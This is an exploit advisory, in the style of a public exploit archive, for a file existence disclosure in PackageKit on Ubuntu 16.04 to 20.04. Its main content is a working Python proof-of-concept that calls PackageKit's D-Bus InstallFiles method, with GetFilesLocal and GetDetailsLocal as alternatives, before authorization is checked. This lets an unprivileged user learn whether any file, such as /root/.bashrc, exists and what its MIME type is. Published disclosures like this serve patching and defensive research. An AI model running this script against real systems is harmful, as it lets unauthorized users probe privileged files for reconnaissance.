PackageKit File Existence Disclosure

2020.10.29
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1 # Date: 2020-10-27 # Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl) # Vendor Homepage: https://www.freedesktop.org/software/PackageKit/ # Software Link: https://www.freedesktop.org/software/PackageKit/ # Version: <= 1.1.1+bzr982-0ubuntu32.1 # Tested on: Ubuntu 20.04 # #!/usr/bin/env python3 # # Ubuntu 16.04 - 20.04 # PackageKit <= 1.1.13-2ubuntu1 # Sensitive Information Disclosure # # # Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html # # The InstallFiles, GetFilesLocal and GetDetailsLocal methods # of the d-bus interface to PackageKit accesses given files # before checking for authorization. This allows non-privileged # users to learn the MIME type of any file on the system. # # Example in attached Python script: # # $ python3 test_file_exists_pk.py /root/.bashrc # File exists and is of MIME type: 'text/plain' # # $ python3 test_file_exists_pk.py /root/.bashrca # File does not exist # # import dbus import os import sys import re if len(sys.argv) != 2: print("Checks if file exists and returns MIME type") print("Usage: %s <file>") sys.exit(0) FILE_TO_CHECK = sys.argv[1] bus = dbus.SystemBus() apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit") apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit") trans = apt_dbus_interface.CreateTransaction() apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans) apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction") try: apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK]) # ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK]) # ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK]) except dbus.exceptions.DBusException as e: if "No such file" in str(e): print("File does not exist") elif "MimeTypeNotSupported" in str(e): result = re.search('MIME type (.*) not supported', str(e)) print("File exists and is of MIME type: " + result.group(1))


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